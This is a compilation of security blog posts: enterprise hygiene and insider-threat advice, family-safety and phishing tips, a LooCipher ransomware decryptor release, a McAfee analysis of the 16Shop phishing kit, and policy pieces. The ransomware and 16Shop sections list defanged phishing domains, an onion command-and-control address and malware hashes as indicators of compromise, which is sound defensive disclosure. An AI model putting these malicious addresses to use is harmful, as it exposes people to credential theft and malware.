  1. Educate Your Teams All employees are part of an organization’s security posture. And yet, 61% of IT professionals say their executives expect more lenient security policies for themselves, and 65% of those respondents believe this leniency results in more incidents. Do as I say, not as I do can be dangerous. It’s imperative that you develop a continuing cybersecurity education program for all enterprise teams including best practices for passwords and how to detect phishing emails. Your program should include re-education processes for your IT team on breach targets such as default accounts and missing patches.
  2. Timely Patches and Updates – The Data Exfiltration Report found that IT was implicated in most data breaches, and much of this can be attributed to failures in cybersecurity hygiene, such as the failure to get a security patch out across the enterprise within 24 to 72 hours. Or failing to check that all available updates are accepted on every device. The vulnerabilities these patches and updates are designed to address can remain vulnerable for months despite the availability of the fixes. Cloud and SaaS operations have proven that automated patching testing and deployment works well with minimal downside risk.
  3. Implement Data Loss Policies (DLP) Data loss prevention requires thinking through the data, the applications, and the users. Most security teams continue to operate in isolation, with 81% reporting separate policies or management consoles for cloud access security brokers (CASBs) and data loss prevention (DLP). It is more important than ever to have a set of consistent Data Loss Prevention (DLP) policies that protect data everywhere it’s stored, including the cloud and corporate endpoints, networks, or unmanaged devices.
  4. Pay Attention to Cloud Security Settings – Cloud applications are where the bulk of your data resides, and data is what most cybercriminals are after. As Dev Ops moves more workloads to the cloud your enterprise needs to pay attention to the security setting of the cloud instances it uses and be aware of the security associated with the underlying infrastructure. Many security measures and considerations in the cloud are the same as on-prem, but some are different. Understanding the security of the cloud you choose and the applications that you use in the cloud are a critical part of securely navigating digital transformation.
  5. Technology Integration and Automation – One of the top actions cited for reducing future breach risks is integrating the various security technologies into a more cohesive defense. A lack of integration between security products allows suspicious activity to dwell unnoticed. If an attack is identified and blocked, all entry points should be instantly informed. If a compromised device is detected, security products should automatically scan all other devices for evidence of similar compromise, and quarantine affected systems. Automation allows machines to make these decisions based on policy set by the security team and accelerates time to detection and remediation without incurring material risk of unintended IT consequences.
  6. Deploy and Activate CASB, DLP, EDR – A Cloud Attack Security Broker (CASB) automatically classifies sensitive information, enforces security policies such as data loss prevention, rights management, data classification, threat protection, and encryption. Data Loss Prevention (DLP) safeguards intellectual property and ensures compliance by protecting sensitive data. Endpoint Detection and Response (EDR) can help your enterprise gain visibility into emerging threats with little maintenance and by monitoring endpoint activity, detecting suspicious behavior, making sense of high-value data, and understanding context. EDR can also reduce your need for additional SOC resources.
  7. Run Proper Device Audits –It’s important to regularly review device encryption on all devices including laptops, tablets, and mobile phones. Using multifactor identification strengthens your security beyond common sense steps like evaluating and promoting password strength.
  8. Have an Incident Response Plan – You may have only minutes and hours to act on a cyberattack. Good intentions aren’t enough to effectively respond and remedy a security breach. Be prepared before it happens. An Incident Response Plan is integral in helping your enterprise respond more effectively, reduce business disruptions and a loss of reputation.

For more on how to improve your enterprise’s cybersecurity hygiene using automation, integration, and cloud-based deployment and analytics, check out McAfee MVISION EDR.

The post Cybersecurity Hygiene: 8 Steps Your Business Should be Taking appeared first on McAfee Blogs.

How to Prevent Insider Data Breaches at your Business

Guest article by Dan Baker of SecureTeam

Majority of security systems are installed to try and forestall any external threats to a business’ network, but what about the security threats that are inside your organisation and your network?

Data breaches have the potential to expose a large amount of sensitive, private or confidential information that might be on your network. Insider threats are a significant threat to your business and are increasingly being seen as an issue that needs dealing with.

SecureTeam are experts in cybersecurity and provide a variety of cybersecurity consultation solutions to a range of businesses. They have used their extensive knowledge of internal network security to write this handy guide to help businesses protect themselves from insider data breaches.

Who is considered an Insider Threat?

Insider threats can come from a variety of different sources and can pose a risk to your business that you might not have considered.

Malicious Insider 
This is when an employee who might have legitimate access to your network has malicious intentions and uses that access to intentionally leak confidential data. Employees who intentionally provide access to the network to an external attacker are also included in this threat.

Accidental Insider
This is when an employee makes an honest mistake that could result in a data breach. Something as simple as opening a malicious link in an email or sending sensitive information to the wrong recipient are all considered data breaches. The main cause of accidental insider data breaches is poor employee education around security and data protection and can be avoided by practising good security practices.

Third Party
There is a data protection risk that arises when third-party contractors or consultants are provided with permission to access certain areas of the network. They could, intentionally or unintentionally, use their permission to access private information and potentially cause a data breach. Past employees who haven’t had their security access revoked could also access confidential information they are no longer entitled too and could be seen as a threat.

Social Engineers
Although this threat is technically external a social engineers aim is to exploit employees by interacting with them and then attempting to manipulate them into providing access to the network or revealing sensitive information.

Data breaches from internal threats have the potential to cause the loss of sensitive or confidential information that can damage your business’ reputation and cost you a significant amount of money. There are some ways you can attempt to prevent insider data breaches, however. 

How to prevent Data Breaches

There are a few simple ways you can try to prevent an internal data breach, including:

Identify your Sensitive Data
The first step to securing your data is to identify and list all of the private information that you have stored in your network and taking note of who in your organisation has access to it. By gathering all of this information you are able to secure it properly and create a data protection policy which will help keep your sensitive data secure.

Create a Data Protection Policy
A data protection policy should outline the guidelines regarding the handling of sensitive data, privacy and security to your employees. By explaining to your staff what they are expected to do when handling confidential information you reduce the risk of an accidental insider data breach.

Create a Culture of Accountability
Both employees and managers should be aware of and understand their responsibilities and the responsibilities of their team when it comes to the handling of sensitive information. By making your team aware of their responsibilities and the consequences of mistakes and negative behaviour you can create a culture of accountability. This also has the more positive effect of highlighting any issues that exist before they develop into full problems which can then be dealt with training or increased monitoring.

Utilise Strong Credentials & Access Control
By making use of stronger credentials, restricting logins to an onsite location and preventing concurrent logins you can make your network stronger and remove the risk of stolen credentials being used to access the network from an external location.

Review Accounts and Privileged Access
It is important that you regularly review your user's privileges and account logins to ensure that any dormant accounts no longer have access to private information and that users don’t have unnecessary access to data. This helps to reduce the risks of both accidental and malicious insider data breaches.

Conclusion
The threat of an insider data breach continues to be an issue to businesses throughout a range of sectors. However, by putting a plan in place for these insider security threats it improves the speed and effectiveness of your response to any potential issues that arise.

It is sensible to assume that most, if not all, businesses will come under attack eventually and by taking the threat seriously and adhering to the best security practices then you can help to prevent an attack turning into a full-blown data breach.

Family Safety: Twitter, Instagram Beef Up Measures to Fight Hate Speech, Bullying

The past few weeks have proven to be wins for family safety with several top social networks announcing changes to their policies and procedures to reduce the amount of hateful conduct and online bullying.

Twitter: ‘Dehumanizing Language Increases Risk’

In response to rising violence against religious minorities, Twitter said this week that it would update its hateful conduct rules to include dehumanizing speech against religious groups.

“Our primary focus is on addressing the risks of offline harm, and research shows that dehumanizing language increases that risk . . . we’re expanding our rules against hateful conduct to include language that dehumanizes others based on religion,” the company wrote on its Twitter Safety blog.

Twitter offered two resources that go in-depth on the link between dehumanizing language and offline harm that is worth reading and sharing with your kids. Experts Dr. Susan Benesch and Nick Haslam and Michelle Stratemeyer define hate speech, talk about its various contexts, and advise on how to counter it.

Instagram: ‘This intervention gives people a chance to reflect.’ 

Instagram announced it would be rolling out two new features to reduce potentially offensive content. The first, powered by artificial intelligence, prompts users to pause before posting. For instance, if a person is about to post a cruel comment such as “you are so stupid,” the user will get a pop-up notification asking, “are you sure you want to post this?”

A second anti-bullying function new to Instagram is called “Restrict,” a setting that will allow users to indiscreetly block bullies from looking at your account. Restrict is a quieter way to cut someone off from seeing your content than blocking, reporting, or unfollowing, which could spark more bullying.

These digital safety moves by both Instagram and Twitter are big wins for families concerned about the growing amount of questionable content and bullying online.

If you get a chance, go over the basics of these new social filters with your kids.

Other ways to avoid online bullying:

Wise posting. Encourage kids to pause and consider tone, word choice, and any language that may be offensive or hurtful to another person, race, or gender. You are your child’s best coach and teacher when it comes to using social apps responsibly.

Stay positive and trustworthy. Coach kids around online conflict and the importance of sharing verified information. Encourage your child to be part of the solution in stopping rumors and reporting digital skirmishes and dangerous content to appropriate platforms.

Avoid risky apps. Apps like ask.fm allow anonymity should be off limits. Kik Messenger, Yik Yak, Tinder, Down, and Whisper may also present risks. Remember: Any app is risky if kids are reckless with privacy settings, conduct, content, or the people they allow to connect with them.

Layer security. Use a comprehensive solution to help monitor screentime, filter content, and monitor potentially risky apps and websites.

Monitor gaming communities. Gaming time can skyrocket during the summer and in a competitive environment, so can cyberbullying. Listen in and monitor game time conversations and make every effort to help him or her balance summer gaming time.

Make profiles and photos private. Require kids under 18 to make all social profiles private. By doing this, you limit online circles to known friends and reduces the possibility of cyberbullying and online conflict.

The post Family Safety: Twitter, Instagram Beef Up Measures to Fight Hate Speech, Bullying appeared first on McAfee Blogs.

Ready, Set, Shop: Enjoy Amazon Prime Day Without the Phishing Scams

Amazon Prime Day is becoming one of the hottest shopping periods for the summer. However, it is also becoming one of the hottest opportunities for cybercriminals, as hackers target shoppers in a number of ways during peak shopping moments to steal personal data or financial information. In fact, researchers at McAfee Labs have uncovered a phishing kit specifically created to steal personal information from Amazon customers in America and Japan.

How exactly does this phishing kit work? The kit allows hackers to create phishing emails that look like they have come from Amazon. The emails prompt users to share their login credentials on a malicious website. Once the victim hands over their login, the hackers can use the victim’s account to make fraudulent purchases and steal their credit card information saved in their Prime account.

According to McAfee Labs researchers, this phishing scam has already seen widespread use, with over 200 malicious URLs being used to prey on innocent online shoppers. Additionally, the phishing kit is being sold through an active Facebook group with over 300 members and 200 posts in recent weeks. McAfee has notified Facebook of the existence of this group. The social network has taken an active posture in recent months of taking down groups transacting in such malicious content.

So, what does this threat mean for Amazon users? If you’re planning on participating in Prime Day, follow these security steps to help you swerve malicious cyberattacks:

  • Beware of bogus deals. If you see an ad for Prime Day that looks too good to be true, chances are that the ad isn’t legitimate.
  • Think before you click. Be skeptical of ads shared on social media sites, emails, and messages sent to you through platforms like Facebook, Twitter, and WhatsApp. If you receive a suspicious message regarding Prime Day, it’s best to avoid interacting with the message.
  • Do your due diligence with discount codes. If a discount code lands in your inbox, you’re best off verifying it through Amazon.com directly rather than clicking on any links.

If you do suspect that your Amazon Prime account has been compromised due to a cyberthreat, take the following steps:

  • Change your password. Change the passwords to any accounts you suspect may have been impacted. Make sure they are strong and unique.
  • Keep an eye on your bank account. One of the simplest ways to determine whether someone is fraudulently using your credit card information is to monitor your bank statements. If you see any charges that you did not make, report it to the authorities immediately.
  • Consider using identity theft protection.A solution like McAfee Identify Theft Protection will help you to monitor your accounts and alert you of any suspicious activity.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Ready, Set, Shop: Enjoy Amazon Prime Day Without the Phishing Scams appeared first on McAfee Blogs.

Free Tool: LooCipher Decryptor

There are many ways to fight cyber-crime, but what we used to do in Yoroi is Malware analysis and Incident response by using special and proprietary technologies. Often analyses are enough to temporary block cyber-criminals by sharing to everybody IOC allowing National and International players (ISP, AV vendors, CERTs and so on) to block connections or to trash files. But sometimes when a ransomware hits a victim, the ultimate desire is to be able to decrypt those files and to restore the last consistent data set. Today we realized this ultimate scope and we want to release it public, to everybody needs a decryptor for LooCipher.

At the beginning of July Yoroi Z-Lab Team publicly released a quite exhaustive report about LooCipher (available here). The initial vector (through Microsoft Office Macro) was foreshadowing an important spread over the next few days. Indeed few days later Fortinet researchers released a nice report on LooCipher (available here) mostly focused on the encryption algorithm, where they discussed it through a python POC.

“LooCipher starts its encryption routine by generating a 16-byte data block with random characters chosen from the following predefined characters, using the current system time as seed. ”   

From Fortinet report

Most of the LooCipher technical features are described as follows:

  • The ransomware spreads using weaponized Word document.
  • The Command and Control is hosted on the TOR Network, at the following onion address “hxxp://hcwyo5rfapkytajg[.]onion” .
  • The attackers leverage several Tor2Web proxy services to easily allow the access to the Tor C2.
  • The binary can work both as cryptor and decryptor.
  • The C2 dynamically generates a different Bitcoin address for each infection.

The Fortinet researches spent time in describing the used algorithm (AES-256-ECB) and portrayed a decryption code as showed in the following image. By focusing on how to recover the obfuscated key – which was retrievable either via network or via memory dumping Fortinet researchers gave us the right reading key to be able to write our own decryptor code.

From Fortinet Report

The turning point was on the way the key was encoded. The obfuscation method was quite trivial. It consists in a simple find-and-replace of each key characters with a pre-defined double-digit number, belonging to the following set:

Decoding Matrix

So once retrieved the obfuscated key it was possible to reconstruct the original key to decrypt all involved files.

The master key is available directly in memory into LooCipher segments. So please remember to not kill the process even if you have been infected or to not reboot your windows box. If you kill the process or reboot your system, ZLab Team decrypter is not going to work there. You can download it HERE and use it for free.

  1. Find the Process ID of the LooCipher ransomware
  2. Open cmd with the Administrator privileges in the path where is downloaded the tool
  3. In cmd prompt: ZLAB_LOOCIPHER_DECRYPTION_TOOL.exe <PID>

Happy recovery !

Is Your WhatsApp Being Weird? You May Need to Check For Hidden Malware

With over 2.5 billion monthly active users that have accumulated since its fruition, Android has seen massive growth over the last 10 years. With so many users, it’s no wonder why cybercriminals continuously look to exploit Android devices. In fact, 25 million Android users have recently been hit with a new malware.

Dubbed Agent Smith, this cyberthreat sneaks onto a user’s device when the user downloads a malicious app from the app store, like a photo utility or game app. The app then silently installs the malware disguised as a legitimate Google updating tool. However, no updating icon appears on the screen, making the user oblivious to their device being in danger. Once installed, the malware replaces legitimate apps on the user’s phone, such as WhatsApp, with an evil update that serves bad ads. According to security researchers, the ads themselves aren’t malicious. But if a victim accidentally clicks on the ad, the hackers can make money from these ad fraud schemes. What’s more, there’s potential that these bad ads aren’t limited to just WhatsApp and could be found on other platforms as well.

So, what can Android users do to prevent this malware from sneaking onto their device? Check out the following tips to help stay secure:

  • Be wary of WhatsApp ads. Android users should take action if they experience advertisements displayed at strange times, such as when they open WhatsApp. The legitimate WhatsApp does not serve ads, so if you experience ads on this platform your device might have been infected.
  • Look out for suspicious apps. Check the apps and notifications section of your Android settings. If you see suspicious apps with names such as Google Updater, Google Installer for U, Google Powers, and Google Installer, uninstall these apps right away.
  • Stay away from unofficial Android stores. Google has extra precautions designed to prevent malware from getting onto the official Android store website, so only downloading apps from there could help protect you.
  • Use a security solution. A solution like McAfee Mobile Security can help Android users stay protected from threats like mobile malware. It also provides a free antivirus cleaner and phone security app to protect your online privacy and enhance device performance.

And, as always, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Is Your WhatsApp Being Weird? You May Need to Check For Hidden Malware appeared first on McAfee Blogs.

16Shop Now Targets Amazon

Since early November 2018 McAfee Labs have observed a phishing kit, dubbed 16Shop, being used by malicious actors to target Apple account holders in the United States and Japan. Typically, the victims receive an email with a pdf file attached.

An example of the message within the email is shown below, with an accompanying translation:

When the victims click on the link in the attached pdf file, they are redirected to a phishing site where they will then be tricked in to updating their account information, which often includes credit card details.

The following is one of the many pdf files that we have seen attached to the phishing emails:

The phishing page is shown below:

 

The following image shows the information that is being phished:

The following map shows the locations where we have observed this phishing campaign:

The author of this phishing campaign used the conversion site Pdfcrowd.com to create the malicious pdf file, which was attached in the phishing emails. (The pdf tag can be seen below):

16Shop phishing kit

The phishing kit originates in Indonesia and the code handles multiple languages:

Most phishing kits will email the credit card and account details entered on the site directly to the malicious actor. The 16Shop kit does this, too, and also stores a local copy in other text files. This is a weakness in the kit because anyone visiting the site can download the clear-text files (if the attacker uses the default settings).

The kit includes a local blacklist, which blocks certain IP addresses from accessing the website. This blacklist contains lots of IPs of security companies, including McAfee. The blacklisting prevents malware researchers from accessing the phishing sites. A snippet is shown below:

While looking at the code we observed several comments that appear to be tags of the creator. (More on this later.)

The creator of 16Shop also developed a tool to generate and send the phishing emails. We managed to gain a copy and analyze it.

The preceding configuration shows how an attacker can set the subject field as well as the origin address of the email. While looking through the source files, we noticed the file list.txt. This file contains the list of email addresses that the phisher sends to. The example file uses the address riswandanoor@yahoo.com:

This email, along with the name in the comments from the phishing kit, could potentially tell us some more about the creators of the kit.

The author of 16Shop

The author of the kit goes by the alias DevilScreaM. We gathered lots of information on this actor and found that this individual was involved in the Indonesian hacking group “Indonesian Cyber Army.” Several websites were defaced by this group and tagged by DevilScreaM in 2012.

We found DevilScreaM created the site Newbie-Security.or.id, an Indonesian site of hacking tools frequented by members of the Indonesian Cyber Army. We also discovered two eBooks written by DevilScreaM; they contain advice on website hacking and penetration testing.

The timeline of DevilScreaM’s activity shows a notable change in late 2012 and the middle of 2013. DevilScreaM stopped defacing websites and created an anti-malware product, ScreaMAV, for the Indonesian market. This “white hat” activity did not last. In mid-2013 they began defacing sites again and posting exploits on 0day.today mostly around WordPress vulnerabilities.

DevilScreaM’s GitHub page contains various tools, including a PHP remote shell used on compromised websites as well as commits on the z1miner Monero (XMR) miner tool. in late 2017 DevilScreaM created the 16Shop phishing kit and set up a Facebook group to sell licenses and support. In November 2018. this private group had over 200 members. We checked the group in mid-June 2019 and it now has over 300 members and over 200 posts. Despite the questionable content, the group not only persists unchanged on social media, but continues to grow.

McAfee has notified Facebook of the existence of this group. The social network has taken an active posture in recent months of taking down groups transacting in such malicious content.

Recent News and Switch to Amazon

In May 2019, several blogs were published highlighting that a version of 16shop was cracked which included a backdoor that would send all data via telegram to the author of the kit. We can confirm that this was not present in the version we analysed in November. These leads us to believe that this backdoor was added by a second malicious actor and not the original author of 16Shop.

[Telegram Bot API command from Cracked 16shop kit to send stolen data]

In May 2019, we found a new phishing kit which was targeting Amazon account holders. Looking at the code of the kit, you can see it shows several similarities to the 16shop kit targeting Apple users back in November 2018.

 

[Fake Login page]

[PHP code of Phishing Kit and Admin page]

Around the same time that we discovered the Amazon Phishing Kit, the social media profile picture of the actors we believe are behind 16shop changed to a modified Amazon logo. This reinforces our findings that the same group is responsible for the development of the new malicious kit.

[Obfuscated Profile Pic]

We believe that victims of this kit will be led to the malicious websites via links in phishing emails.

We recommend that if users want to check any account changes on Amazon, which they received via email or other sources, that they go to Amazon.com directly and navigate from there rather than following suspicious links.

Conclusion

During our monitoring, we observed over 200 Malicious URLs serving this phishing kit which highlights its widespread use (all URLs seen have been classified as malicious by McAfee).

The group responsible for 16shop kit continues to develop and evolve the kit to target a larger audience. To protect themselves, users need to be extremely vigilant when receiving unsolicited email and messages.

This demonstrates how malicious actors use legitimate companies to leverage their attacks and gain victims’ trust and it is expected that these kinds of groups will use other companies as bait in the future.

Indicators of compromise

Domains (all blocked by McAfee WebAdvisor)

Apple Kit

  • hxxps://secure2app-accdetall1.usa.cc.servsdlay.com/?16shop
  • hxxps://gexxodaveriviedt0.com/app1esubm1tbybz/?16shop
  • hxxps://gexxodaveriviedt0.com/secur3-appleld-verlfy1/?16shop
  • hxxps://sec2-accountdetail.accsdetdetail.com/?16shop

Amazon Kit

  • verification-amazonaccess.secure.dragnet404.com/
  • verification-amazon.servicesinit-id.com/
  • verification-amazonlocked.securesystem.waktuakumaleswaecdvhb.com/
  • verification-amazonaccess.jaremaubalenxzbhcvhsd.business/
  • verification-amazon.3utilities.com/
  • verification-amaz0n.com/

McAfee detections

  • PDF/16shop! V2 DAT =9086 , V3 DAT = 3537

Hashes (SHA-256)

  • 34f33612c9f6b132430385e6dc3f8603ff897d34c780bfa5a4cf7663922252ba
  • b43c2ba4e312d36a1b7458d1342600957e0daf3d1fcd8c7324afd387772f2cc0
  • 569612bd90de1a3a5d959abb12f0ec66f3696113b386e4f0e3a9face084b032a
  • d9070e68911db893dfe3b6acc8a8995658f2796da44f14469c73fbcb91cd1f73

For more information on phishing attacks:

The post 16Shop Now Targets Amazon appeared first on McAfee Blogs.

Weekly Update 147

Weekly Update 147

So "Plan A" was to publish Pwned Passwords V5 on Tuesday but a last-minute check showed control characters had snuck in due to the quality (or lack thereof) of the source data. Scratch that and go to "Plan B" which was to push them out today but a last-minute check showed that my "improved" export script had screwed up the encoding and every single hash was wrong. "Plan C" is now to push them out on the weekend with everything working correctly. Hopefully. If I don't screw anything up again...

The constant challenge I've faced over the last few years is the massive amount of multi-tasking required to do all the things I'm presently doing. I touched on this in my Project Svalbard blog post and it goes a long to explaining why HIBP needs to grow up into a larger organisation. I quite literally need people to remove the horizontal tabs and get the encoding right; it's such a simple thing but it's so easy to screw up when you're stretched too thin.

Enough about that, this week I'm also talking about Scott's upcoming public Glasgow workshop, more data breaches, Namecheap's faux pas and EVE Online's great security work they've very generously shared publicly.

Weekly Update 147
Weekly Update 147
Weekly Update 147

References

  1. Scott will be running my Hack Yourself First workshop in Glasgow next week (this is the last stop on the UK tour, get in while you still can!)
  2. Someone also created a website dedicated to him (seems legit!)
  3. The Zhenai breach from 2011 added another 5M records to HIBP (I'm still working through a ridiculously long backlog of breaches...)
  4. I called Namecheap to account for a very misleading post on SSL (to their credit, they've now pulled the piece)
  5. EVE Online published some great material on how they're doing their security things (it's not just the practices I think are great, it's the fact that they're happy to talk about them publicly so that other companies can benefit too)
  6. Shape Security is sponsoring my blog this week (Captcha is no longer enough, they're talking about how Shape Connect blocks automation & improves security instantly, with a 30 minute implementation)

ST06: Building Resilience with Cyber Threat Intelligence with Mo Cashman, Martin Ohl, and Leon Ward

McAfee’s Director of Solution Architects and Principal Engineer, Mo Cashman and Solution Architect, Martin Ohl team up with ThreatQuotient’s VP of Product Management, Leon Ward to discuss the lies and myths of threat intelligence.

The post ST06: Building Resilience with Cyber Threat Intelligence with Mo Cashman, Martin Ohl, and Leon Ward appeared first on McAfee Blogs.

Tips for the IT Department on Reducing Cyber Clutter

Just like kitchen drawers and closets, computers accumulate clutter over time. And when you have an entire organization’s worth of people to watch and exponential amounts of data collected every day, it takes more than a day of spring cleaning to get your environment clean.  Clearing out your team’s cyber clutter will not only help make the business more organized and productive, but it will also mitigate the vulnerabilities that accompany the clutter.

Here are four areas you should de-clutter to ensure your organization’s digital presence is clean:

1.    Physical Devices

Physical devices can take up most of your organizational environment, from user computers to firewalls. All of these devices have proprietary information of some form on them, so it’s wise to keep them at the forefront of your decluttering.

Here’s a few tips:

  • Create and enforce policies and procedures for your organization’s documents.
    • Implement a document deletion policy and make sure your team is aware of it. You don’t want a user’s computer to be stolen with years’ worth of documents stored on it.
    • Consider how sensitive documents are handled. These are documents that should not be accessed by the general organization, should not be stored on a local machine, and may need to be encrypted.
    • If you have a cloud storage solution, enforce automatic backup for users. This enables you to have a better view of what your users are storing and what they are doing with those documents.

2.    Cloud Storage

Because cloud storage doesn’t take up space in your server room, it’s easy to forget to quality control it as you do your physical storage. And while cloud storage is generally hosted by trusted service providers, we’ve seen these servers open in the wild before.

When cloud storage applications are one of the easiest ways to exfiltrate company data, it’s important to regulary clean them out and restrict access as appropriate.

  • Are you currently restricting what cloud storage systems your users are able to access? This is a twofold concern as having company accounts attached to multiple cloud systems opens up avenues for attackers and data exfiltration.
  • Enforce your company document policies and procedures with your cloud storage. It’s actually easier to enforce some policies within the cloud, such as least privilege permissions.
  • Utilize the built-in security features that many cloud storage apps have. These can protect against data exfiltration or alert for suspicious activity.

3.    Email

Email accounts are some of the largest data hubs, storing information about an account’s owner and everyone they interact with. Think of the email accounts of the members of your HR department, full of employees’ sensitive data.

When addressing the security of your company’s email accounts, consider:

  • Do you have a limit on how much data a single inbox can hold?
    • If you don’t have a limit, do you have a widely known policy on the importance of cleaning out your email boxes every so often? This depends on your organization, but your users should be informed of the risks of keeping their friend’s vendor’s personal contact information in their inbox for six months.
  • Sometimes it’s surprising what capabilities users are unaware of within their emails. It’s a great idea to empower your users to utilize your email service’s tools by providing them with guides for things like how to:
    • Search for sensitive data to quickly find and delete it,
    • Set up automatic deletion rules, and
    • Set up rules that screen their inbox for marketing or important emails.
  • If your organization has a data retention policy, make sure that emails are included in it. This will affect the permissions your users have; for example, you can completely remove users’ ability to delete emails within their individual inboxes.

4.    Apps

Oftentimes we forget the pervasiveness of apps, whether they’re on our computer or mobile devices. Most companies are utilizing Mobile Device Management (MDM) for their devices.

However, an MDM still needs to be reviewed and have proper enforcements put in place.  Consider:

  • Are apps restricted only to the people that need them? For example, your marketing team may need access to Facebook and Instagram, but your engineers do not.
  • If there are accounts or subscriptions associated with an app, be sure to document all of the relevant information. You don’t want to run into a situation where an employee leaves the organization, but they were the sole owner of applications important to the organizational workflow.
  • All apps should be as securely configured as possible; however, sometimes apps make this difficult by hiding the settings in question. Review all apps and create procedures for secure configuration before they are allowed to the general population of your organization.

Other Things to Think about

  • For organizations that utilize photography or videography, keep in mind that this type of data is just as vulnerable as a text document. Your organizational data policies apply here, perhaps even more stringently.
  • Password keepers are a great method of ensuring that users adhere to proper password practice, such as using strong and unique passwords. Make sure the user is aware of how to properly use the password keeper, otherwise they may find ways to avoid using it.
  • Implement a company-wide multi-factor authentication policy to prevent unauthorized access to your systems. It’s also important to judge your needs of security and your users’ acceptance to see if you should invest in hard tokens instead of the more common soft tokens like authentication apps.

By following the tips above to de-clutter your IT environment, you will ultimately help your organization become more secure.

The post Tips for the IT Department on Reducing Cyber Clutter appeared first on GRA Quantum.

How do I remove malware from my Windows laptop?

Don’s laptop is infected with malware and he’d like a clean machine, what’s the best way?

What’s the cheapest way to get my Windows laptop swept and cleaned out of malware etc? Don

There are two obvious ways to clean a Windows laptop, and both of them are free. The first is to run a number of anti-malware programs to find and remove the bad stuff. The second is to reset it to factory condition.

Continue reading...

Watch Your Webcam: Tips to Protect Your Mac From Zoom Hackers

You’ve probably heard of the popular video conferencing platform, Zoom. This platform enables its millions of users in various locations to virtually meet face to face. In an effort to enhance user experience and work around changes in Safari 12, Zoom installed a web server that allows users to enjoy one-click-to-join meetings. Unfortunately, a security researcher recently disclosed that this product feature acts as a flaw that could allow cybercriminals to activate a Mac user’s webcam without their permission.

How exactly does this vulnerability work? Cybercriminals are able to exploit a feature that allows users to send a meeting link directly to a recipient. When the recipient clicks on the link, they are automatically launched into the video conferencing software. If the user has previously installed the Zoom app onto their Mac and hasn’t turned off their camera for meetings, Zoom will auto-join the user to a conference call with the camera on. With this flaw, an attacker can send a victim a meeting link via email message or web server, allowing them to look into a victim’s room, office, or wherever their camera is pointing. It’s important to note that even if a user has deleted the Zoom app from their device, the Zoom web server remains, making the device susceptible to this vulnerability.

While the thought of someone unknowingly accessing a user’s Mac camera is creepy, this vulnerability could also result in a Denial of Service (DoS) attack by overwhelming a user’s device with join requests. And even though this patch has been successfully patched by Zoom, it’s important for users to realize that this update is not enforced by the platform. So, how can Zoom users avoid getting sucked into a potentially malicious call? Check out these security tips to stay secure on conference calls:

  • Adjust your Zoom settings. Users can disable the setting that allows Zoom to turn your camera on when joining a meeting. This will prevent a hacker from accessing your camera if you are sent a suspicious meeting link.
  • Update, update, update. Be sure to manually install the latest Zoom update to prevent DoS or other potential attacks. Additionally, Zoom will introduce an update in July that allows users to apply video preferences from their first call to all future calls. This will ensure that if a user joins their first meeting without video, this setting will remain consistent for all other calls.

And, as usual, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Watch Your Webcam: Tips to Protect Your Mac From Zoom Hackers appeared first on McAfee Blogs.

IDG Contributor Network: Protecting data in an increasingly insecure world

If data is the life blood of organizations, how are businesses protecting it. Michelle Finneran Dennedy in her book, the Privacy Engineer’s Manifesto, describes five stages of protecting data in the information age:

  1. Firewalls
  2. Nets
  3. Extranets
  4. Access
  5. Intelligence

The question is, where are CIOs in this progression of protecting data? This was a recent topic of discussion at our weekly #CIOChat Twitter chat session.

Should CIOs be focused on creating better fortresses? Or securing data and whom can access it?

There are clearly two distinct views amongst CIOs. Some believe that while the fortress is a past mindset, it is still important. They believe the fortress represents the first line of defense, but restrictions on access rights and usage need to be part of the mix.

To read this article in full, please click here

How to better integrate IT security and IT strategy

Information security has become such an integral part of IT that at a growing number of organizations, the two are virtually indistinguishable — from an organizational standpoint.

Many companies are attempting to more tightly integrate IT security strategy with IT strategy. That can mean blending departments, changing leadership structures, and embedding security earlier in the development pipeline, among other tactics.

About two thirds of organizations say their IT security strategy and IT strategy are tightly integrated, with IT security being a key component of IT roadmaps and projects, according to CIO’s 2019 State of the CIO survey.

To read this article in full, please click here

Summer Reading and Listening: Dive in, Developers!

Veracode Developer Summer Reading List

Summer’s longer days and slower pace invite us to pick up a book, follow our questions, and try our hand at something new.

At Veracode, I get the chance to talk with our developers about the experiences that led them to the work they do today. How did they begin to cultivate the security-mindedness that they bring to their coding? Was it a book they stumbled upon, a salient moment in the wake of a security incident, the guidance of a mentor, or a podcast that drew them in? What sparked their interest in doing things differently?

We think a lot about developers, curious but unsure, staring out at the sea of information security knowledge. It can feel overwhelming trying to orient yourself to something so wide and deep. To help developers begin, we put together some of the favorite books, podcasts, blogs, and hands-on exercises of Veracoders across our development, security, and product teams. From a just-published page-turner to classic Phrack articles, there’s something here for everyone who is interested in becoming more security-minded.

My favorites on the list include the hands-on exercises recommended by Sarah Gibson, one of our application penetration testers, and a walk through some information security classics with Senior Principal Software Engineer Dan Murphy (to read the full Dive Into the Classics, please see Dan's post.

So dip your toe in or take a deep dive—happy summer and happy learning!

House Actions on Election Security Bode Well for 2020

As a U.S. cybersecurity company, McAfee supports legislation that aims to safeguard U.S. election security. After the 2016 election, McAfee sees the importance of improving and preserving election security; we even offered free security tools to local election boards prior to the 2018 elections and released educational research on how localities can best protect themselves in future elections. As the 2020 primary elections quickly approach, it is more important than ever that the federal government takes steps to ensure our election infrastructure is secure and that states and localities have the resources they need to quickly upgrade and secure systems.

The U.S. House of Representatives recently passed H.R. 2722, the Securing America’s Federal Elections (SAFE) Act, legislation introduced by Rep. Zoe Lofgren (D-CA) that would allocate $600 million for states to secure critical election infrastructure. The bill would require cybersecurity safeguards for hardware and software used in elections, prevent the use of wireless communication devices in election systems and require electronic voting machines to be manufactured in the United States. The SAFE Act is a key step to ensuring election security and integrity in the upcoming 2020 election.

Earlier this year, the House also passed H.R. 1, the For the People Act. During a House Homeland Security Committee hearing prior to the bill’s passage, the committee showed commitment to improving the efficiency of election audits and continuing to incentivize the patching of election systems in preparation for the 2020 elections. H.R. 1 and the SAFE Act demonstrate the government’s prioritization of combating election interference. It is exciting to see the House recognize the issue of election security, as it is a multifaceted process and a vital one to our nation’s democracy.

McAfee applauds the House for keeping its focus on election security and prioritizing the allocation of resources to states. We hope that Senate leadership will take up meaningful, comprehensive election security legislation so our country can fully prepare for a secure 2020 election.

The post House Actions on Election Security Bode Well for 2020 appeared first on McAfee Blogs.

